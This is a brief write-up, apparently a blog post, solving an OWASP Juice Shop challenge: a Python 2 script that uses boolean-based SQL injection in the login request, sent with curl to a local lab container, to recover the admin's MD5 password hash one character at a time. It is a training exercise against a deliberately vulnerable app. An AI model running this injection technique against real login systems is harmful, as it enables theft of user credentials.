Juice-shop Challenge with SQL Injection

In a challenge to create an automated way to extract the password hash from Juice-Shop at the login prompt through sql injection, I created the following script. 

#!/usr/bin/python2

import os
import subprocess

currentHash = ""
stringList = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f"]
for sizeHash in range(1,33):
    for hashString in stringList:
        command = "curl -H 'Content-Type: application/json' -d \"{\\\"email\\\":\\\"admin@juice-sh.op' AND '" 
        command += str(currentHash) + str(hashString) 
        command += "'=substr(password,1,"
        command += str(sizeHash)
        command += ")--;\\\",\\\"password\\\":\\\"test\\\"}\" http://172.17.0.2:3000/rest/user/login"
        output = subprocess.check_output([command], shell=True, stderr=subprocess.STDOUT)
        if "admin@juice-sh.op" in output:
            print "Hash: " + str(currentHash) + str(hashString)
            currentHash = str(currentHash) + str(hashString)
            break
print "MD5 hash of admin@juice-sh.op: " + currentHash
# Validate hash with the following command: echo -n "admin123" | md5sum